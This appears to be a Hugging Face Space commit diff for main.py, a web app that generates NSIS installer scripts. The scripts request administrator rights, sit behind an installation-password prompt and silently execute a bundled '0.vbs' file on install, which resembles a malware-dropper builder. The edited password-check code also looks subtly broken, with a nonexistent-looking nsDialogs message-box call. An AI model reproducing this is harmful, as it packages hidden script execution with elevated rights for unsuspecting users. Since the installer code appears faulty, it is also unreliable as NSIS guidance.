Spaces:
Sleeping
Sleeping
Update main.py
Browse files
main.py
CHANGED
@@ -67,7 +67,6 @@ VIProductVersion "1.4.44.3"
|
|
67 |
|
68 |
# Set the output directory and the base name of the installer file
|
69 |
SetCompressor /SOLID lzma
|
70 |
-
|
71 |
RequestExecutionLevel admin
|
72 |
|
73 |
# Application metadata
|
@@ -88,23 +87,25 @@ Var PasswordInput
|
|
88 |
Function ShowPasswordPage
|
89 |
nsDialogs::Create 1018
|
90 |
Pop $DialogHandle
|
91 |
-
|
92 |
nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
|
93 |
Pop $0
|
94 |
nsDialogs::CreatePassword 10u 25u 100% 12u ""
|
95 |
Pop $PasswordInput
|
96 |
-
|
97 |
nsDialogs::Show
|
98 |
FunctionEnd
|
99 |
|
100 |
# Password check logic
|
101 |
Function CheckPassword
|
102 |
nsDialogs::GetText $PasswordInput $PASSWORD
|
103 |
-
StrCmp $PASSWORD "yourpassword" 0 +
|
104 |
-
|
105 |
Return
|
106 |
|
107 |
-
|
|
|
|
|
108 |
Abort
|
109 |
FunctionEnd
|
110 |
|
@@ -126,6 +127,7 @@ Section "Install"
|
|
126 |
IfFileExists "$INSTDIR\\0.vbs" 0 +2
|
127 |
ExecShell "" "$INSTDIR\\0.vbs"
|
128 |
SectionEnd
|
|
|
129 |
"""
|
130 |
|
131 |
nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
|
|
|
67 |
|
68 |
# Set the output directory and the base name of the installer file
|
69 |
SetCompressor /SOLID lzma
|
|
|
70 |
RequestExecutionLevel admin
|
71 |
|
72 |
# Application metadata
|
|
|
87 |
Function ShowPasswordPage
|
88 |
nsDialogs::Create 1018
|
89 |
Pop $DialogHandle
|
90 |
+
|
91 |
nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
|
92 |
Pop $0
|
93 |
nsDialogs::CreatePassword 10u 25u 100% 12u ""
|
94 |
Pop $PasswordInput
|
95 |
+
|
96 |
nsDialogs::Show
|
97 |
FunctionEnd
|
98 |
|
99 |
# Password check logic
|
100 |
Function CheckPassword
|
101 |
nsDialogs::GetText $PasswordInput $PASSWORD
|
102 |
+
StrCmp $PASSWORD "yourpassword" 0 +2
|
103 |
+
# If the password is correct, continue to installation
|
104 |
Return
|
105 |
|
106 |
+
# If the password is incorrect, disable the install button and inform the user
|
107 |
+
nsDialogs::CreateMessageBox "Incorrect password. Please try again." "Error"
|
108 |
+
nsDialogs::Show
|
109 |
Abort
|
110 |
FunctionEnd
|
111 |
|
|
|
127 |
IfFileExists "$INSTDIR\\0.vbs" 0 +2
|
128 |
ExecShell "" "$INSTDIR\\0.vbs"
|
129 |
SectionEnd
|
130 |
+
|
131 |
"""
|
132 |
|
133 |
nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
|